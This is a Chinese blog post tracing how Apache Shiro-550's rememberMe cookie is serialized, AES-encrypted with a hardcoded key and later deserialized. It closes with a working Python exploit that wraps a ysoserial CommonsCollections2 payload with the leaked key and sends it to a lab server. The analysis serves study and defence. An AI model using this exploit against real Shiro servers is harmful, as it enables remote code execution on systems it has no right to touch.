Shiro-550反序列化漏洞分析

加密过程

org.apache.shiro.mgt.AbstractRememberMeManager

首先找到硬编码key的位置

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

2Vwelq.png

登陆,记得勾选Remember Me

2VwZpn.png

org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin

remeberMe为true,接下来进入remeberIdentity

2Vwm60.png

org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity

进入rememberIdentity

2VwEfs.png

org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity

第一个函数convertPrincipalsToBytes中先序列化用户名,然后用硬编码的key进行了aes加密

2VwAYj.png

org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes

先进行序列化操作,再调用encrypt进行加密

2VwnXV.png

org.apache.shiro.mgt.AbstractRememberMeManager#encrypt

这里可知加密方法为AES/CBC/PKCS5Padding,通过getEncryptionCipherkey获取密钥

2VwQ7F.png

ciphrtService

2Vw1k4.png

key的来源

org.apache.shiro.mgt.AbstractRememberMeManager#getEncryptionCipherKey

很明显这个函数就是用来获取key的,可以看到key的来源是encryptionCipherKey

2Vw3tJ.png

在构造函数中,把硬编码keyDEFAULT_CIPHER_KEY_BYTES作为参数传入setCipherKey,再经过setEncryptionCipherKey函数赋值给encryptionCipherKey,这样key就是已知的了。

1
2
3
public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
1
2
3
4
public void setCipherKey(byte[] cipherKey) {
this.setEncryptionCipherKey(cipherKey);
this.setDecryptionCipherKey(cipherKey);
}
1
2
3
public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
this.encryptionCipherKey = encryptionCipherKey;
}

继续加密

进入加密函数,两个参数分别是序列化后的root,和硬编码key

2Vw8h9.png

org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity

回到rememberIdentity方法,convertPrincipalsToBytes方法执行完后返回了AES加密后的二进制字节流,接下来进入rememberSerializedIdentity

2VwJpR.png

org.apache.shiro.mgt.CookieRememberMeManager#rememberSerializedIdentity

这里的逻辑就很清楚了,把刚刚加密过的数据进行base64编码后再存入cookie

2VwanK.png

总结

主要逻辑就是用序列化->AES->base64的方式处理cookie

1
2
3
4
5
6
7
8
9
10
11
1.org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin
判断是否选择了rememberMe选项

2.org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity
调用convertPrincipalsToBytesrememberSerializedIdentity

3.org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes
序列化用户名并用硬编码key进行AES加密

4.org.apache.shiro.mgt.CookieRememberMeManager#rememberSerializedIdentity
把加密过的数据base64编码后写入cookie

解密过程

根据加密过程可以知道,解密过程一定经过了base64解码、AES解密、反序列化这几个步骤,接下来详细分析这几个步骤的执行过程,并找到反序列化点

1
readValue->getRememberedSerializedIdentity base64docode->convertBytesToP

org.apache.shiro.mgt.AbstractRememberMeManager#decrypt

decrypt方法这里下一个断点

调用栈

2VwY11.png

org.apache.shiro.mgt.DefaultSecurityManager#resolvePrincipals

作用是调用getRememberedIdentity

2VwNX6.png

org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity

作用是调用getRememberedPrincipals

2Vww7D.png

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals

分别调用了getRememberedSerializedIdentityconvertBytesToPrincipals,前者对cookie进行base64解码,后者进行AES解密和反序列化。

2Vwd0O.png

base64解码

org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity

这里出现了读取cookie的操作

1
String base64 = this.getCookie().readValue(request, response);

2Vwrhd.png

org.apache.shiro.web.servlet.SimpleCookie.readValue

getName()返回rememberMe,最终返回cookie中remeberMe的值

2VwDtH.png

org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals

调用decryptdeserialize,进行AES解密和反序列化操作

2VwBAe.png

AES解密

org.apache.shiro.mgt.AbstractRememberMeManager#decrypt

进行解密,getCipherService()获取加密方法AES/CBC/PKCS5Padding

2Vw61I.png

org.apache.shiro.cryoti.JcaCipherService#decrypt

继续进入decrypt

2VwRnf.png

org.apache.shiro.cryoti.JcaCipherService#decrypt

接下来进入crypt

2Vwcct.png

org.apache.shiro.cryoti.JcaCipherService#crypt

到这里已经基本完成解密,接下来就是反序列化操作了

2VwgjP.png

反序列化

org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals

回到上面的convertBytesToPrincipals,继续进入deserialize进行反序列化

2VwWB8.png

org.apache.shiro.mgt.AbstractRememberMeManager#deserialize

调用deserialize

2VwfHS.png

org.apache.shiro.io.DefaultSerializer#deserialize

出现readObject,将输入参数进行反序列化

2Vw5NQ.png

总结

cookie base64解码 AES解密 反序列化

主要执行流程

1
2
3
4
5
6
7
8
1.org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
调用getRememberedSerializedIdentity方法和convertBytesToPrincipals
2.org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity
base64解码
3.org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
进行AES解密
4.org.apache.shiro.io.DefaultSerializer#deserialize
进行反序列化

漏洞利用

参考链接里的exp,Demo选择的Gadget是CommonsCollections2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme(command):
# 这里使用CommonsCollections2模块
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size
# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="
# AES的CBC加密模式
mode = AES.MODE_CBC
# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes
# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())
# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_rememberMe_value



if __name__ == '__main__':
# cc2的exp
payload = encode_rememberme('calc')
print("rememberMe={}".format(payload.decode()))

cookie = {
"rememberMe": payload.decode()
}

requests.get(url="http://192.168.199.152:8080/web_war/", cookies=cookie)

2VwT9s.png

弹出计算器

2Vw73n.png

参考链接

http://www.lmxspace.com/2019/10/17/Shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AE%B0%E5%BD%95/

https://blog.csdn.net/god_zzZ/article/details/108391075

https://www.anquanke.com/post/id/225442#h3-6

https://xz.aliyun.com/t/8997#toc-3

https://www.freebuf.com/vuls/264079.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!